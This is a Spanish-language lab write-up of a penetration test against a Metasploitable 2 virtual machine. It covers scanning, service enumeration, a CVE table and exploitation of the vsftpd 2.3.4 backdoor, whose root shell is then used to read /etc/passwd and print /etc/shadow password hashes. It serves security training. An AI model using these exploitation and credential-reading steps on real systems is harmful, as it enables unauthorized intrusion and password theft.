

Objetivo

- IP objetivo: 192.168.126.130
- Entorno: NAT (VMware)
- Atacante: Kali Linux
- Objetivo: Metasploitable 2

```
msfadmin@metasploitable:~$ ipconfig
-bash: ipconfig: command not found
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:a5:36:22
          inet addr:192.168.126.130  Bcast:192.168.126.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea5:3622/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:202066 errors:28 dropped:118 overruns:0 frame:0
          TX packets:200409 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13426386 (12.8 MB)  TX bytes:11340112 (10.8 MB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1585 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1585 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:766813 (748.8 KB)  TX bytes:766813 (748.8 KB)

msfadmin@metasploitable:~$ _
```

1: Descubrimiento de hosts

Se realizó un **ping** a la IP **192.168.126.130** para verificar conectividad. El host respondió correctamente, confirmando que se encuentra activo en la red.

```
(jhosep@kali)-[~]
$ ping -c 4 192.168.126.130
PING 192.168.126.130 (192.168.126.130) 56(84) bytes of data.
64 bytes from 192.168.126.130: icmp_seq=1 ttl=64 time=0.258 ms
64 bytes from 192.168.126.130: icmp_seq=2 ttl=64 time=0.200 ms
64 bytes from 192.168.126.130: icmp_seq=3 ttl=64 time=0.208 ms
64 bytes from 192.168.126.130: icmp_seq=4 ttl=64 time=0.209 ms

— 192.168.126.130 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3070ms
rtt min/avg/max/mdev = 0.200/0.218/0.258/0.022 ms
```

Se utilizó **arp-scan** para identificar hosts en la red local, detectando la máquina objetivo con dirección IP 192.168.126.130 asociada a VMware.

```

(jhosep@kali)-[~]
$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:68:22:4f, IPv4: 192.168.126.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.126.1    00:50:56:c0:00:08    (Unknown)
192.168.126.2    00:50:56:fb:bf:65    (Unknown)
192.168.126.130 00:0c:29:a5:36:22    (Unknown)
192.168.126.254 00:50:56:e4:f9:50    (Unknown)

```

Se realizó un escaneo de descubrimiento con Nmap para confirmar la disponibilidad del host

```

(jhosep@kali)-[~]
$ nmap -sn 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 12:49 -0500
Nmap scan report for 192.168.126.130
Host is up (0.00021s latency).
MAC Address: 00:0C:29:A5:36:22 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

```

2: ESCANEO DE PUERTOS

Se ejecutó un escaneo completo de todos los puertos

```

(jhosep@kali)-[~]
$ nmap -p- 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 13:04 -0500
Nmap scan report for 192.168.126.130
Host is up (0.00035s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
35314/tcp open  unknown
40658/tcp open  unknown
45790/tcp open  unknown
46939/tcp open  unknown
MAC Address: 00:0C:29:A5:36:22 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds

```

```
(jhosep@kali)-[~]
$ nmap -sS -p- 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 13:10 -0500
Nmap scan report for 192.168.126.130
Host is up (0.0022s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
35314/tcp open  unknown
40658/tcp open  unknown
45790/tcp open  unknown
46939/tcp open  unknown
MAC Address: 00:0C:29:A5:36:22 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.65 seconds
```

se identificaron múltiples puertos abiertos, lo que evidencia la exposición de diversos servicios en el sistema objetivo

Puerto	Servicio
21	FTP
22	SSH
23	Telnet
25	SMTP
53	DNS
80	HTTP
111	RPCBind
139	NetBIOS
3306	MySQL
5432	PostgreSQL
5900	VNC
6000	X11
1099	RMI Registry
445	SMB
8180	HTTP alternativo

3: ENUMERACIÓN DE SERVICIOS

Se utilizó la herramienta Nmap para realizar la enumeración de servicios en el sistema objetivo, con el fin de identificar los servicios activos y sus respectivas versiones.

```
(jhosep@kali)-[~]
└─$ nmap -sS -sV -sC 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 13:26 -0500
Nmap scan report for 192.168.126.130
Host is up (0.00075s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.126.128
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-date: 2026-05-06T18:26:53+00:00; 0s from scanner time.
|_sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2 RC2 128 CBC EXPORT40 WITH MD5
139/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

└─$ nmap -p 139 --script smb-os-discovery 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 14:16 -0500
Nmap scan report for 192.168.126.130
Host is up (0.00027s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
MAC Address: 00:0C:29:A5:36:22 (VMware)

Host script results:
|_ smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_ System time: 2026-05-06T15:00:27-04:00

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
```

se detectaron múltiples servicios en ejecución, de los cuales se destacan los siguientes por su relevancia:

- **FTP (21/tcp):** vsftpd 2.3.4 (acceso anónimo habilitado)
- **SSH (22/tcp):** OpenSSH 4.7p1
- **Telnet (23/tcp):** servicio activo sin cifrado
- **HTTP (80/tcp):** Apache 2.2.8
- **SMB (139/445):** Samba 3.0.20
- **distccd (3632/tcp):** servicio de compilación distribuida
- **IRC (6667/tcp):** UnrealIRCd 3.2.8.1
- **MySQL (3306/tcp):** versión 5.0.51
- **PostgreSQL (5432/tcp):** versión 8.3
- **Tomcat (8180/tcp):** Apache Tomcat 5.5

4: ANÁLISIS DE VULNERABILIDADES

Servicio	Puerto	Versión	Cómo se identificó	Vulnerabilidad	CVE
FTP	21	vsftpd 2.3.4	Nmap (-sV) + ftp-anon	Backdoor RCE	CVE-2011-2523
SMB	139/445	Samba 3.0.20	smb-os-discovery	Ejecución remota	CVE-2007-2447
distccd	3632	distccd	Puerto detectado	Ejecución remota sin autenticACION	CVE-2004-2687
IRC	6667	Unreal3.2.8.1.	mediante conexión al servicio	Backdoor	CVE-2010-2075
Telnet	23	telnetd	Puerto abierto	Comunicación sin cifrado	

```
(jhosep@kali)-[~]
$ nmap --script distcc-cve2004-2687 -p 3632 192.168.126.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 14:32 -0500
Nmap scan report for 192.168.126.130
Host is up (0.00024s latency).

PORT      STATE SERVICE
3632/tcp  open  distccd
| distcc-cve2004-2687:
|   VULNERABLE:
|   distcc Daemon Command Execution
|   State: VULNERABLE (Exploitable)
|   IDs:  CVE:CVE-2004-2687
|   Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|   Allows executing of arbitrary commands on systems running distccd 3.1 and
|   earlier. The vulnerability is the consequence of weak service configuration.
|
|   Disclosure date: 2002-02-01
|   Extra information:
|
|   uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|   https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|   https://distcc.github.io/security.html
|_
MAC Address: 00:0C:29:A5:36:22 (VMware)
```

```
PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
| telnet-encryption:
|_ Telnet server does not support encryption
MAC Address: 00:0C:29:A5:36:22 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds
```

5: PRUEBAS DE EXPLOTACIÓN

5.1 – EXPLOTACIÓN FTP (vsftpd 2.3.4)

La vulnerabilidad en vsFTPD 2.3.4 permite la apertura de una shell remota en el puerto 6200 al enviar un usuario malicioso “:”)” durante la autenticación. Esta shell hereda los privilegios del servicio FTP, pudiendo en algunos casos otorgar acceso como root.

```
(jhosep@kali)-[~]
$ ftp 192.168.126.130
Connected to 192.168.126.130.
220 (vsFTPd 2.3.4)
Name (192.168.126.130:jhosep): anonimo
331 Please specify the password.
Password: 
```

```
(jhosep@kali)-[~]
$ ftp 192.168.126.130
Connected to 192.168.126.130.
220 (vsFTPd 2.3.4)
Name (192.168.126.130:jhosep): hola:)
331 Please specify the password.
Password:

421 Timeout.
ftp: Login failed
ftp> 
```

```
(jhosep@kali)-[~]
$ nc 192.168.126.130 6200
id
uid=0(root) gid=0(root)
whoami
root
# sistema de
```

6. Post-Explotación

cat /etc/passwd

visualizar todos los usuarios registrados en el sistema, incluyendo sus directorios home y shells asignadas.

```
cat/etc/passwd
sh: line 3: cat/etc/passwd: No such file or directory
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

cat /etc/shadow

hashes de las contraseñas de todos los usuarios del sistema.

```
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
backup*:14684:0:99999:7:::
list*:14684:0:99999:7:::
irc*:14684:0:99999:7:::
gnats*:14684:0:99999:7:::
nobody*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp*:14684:0:99999:7:::
syslog*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind*:14685:0:99999:7:::
postfix*:14685:0:99999:7:::
ftp*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
```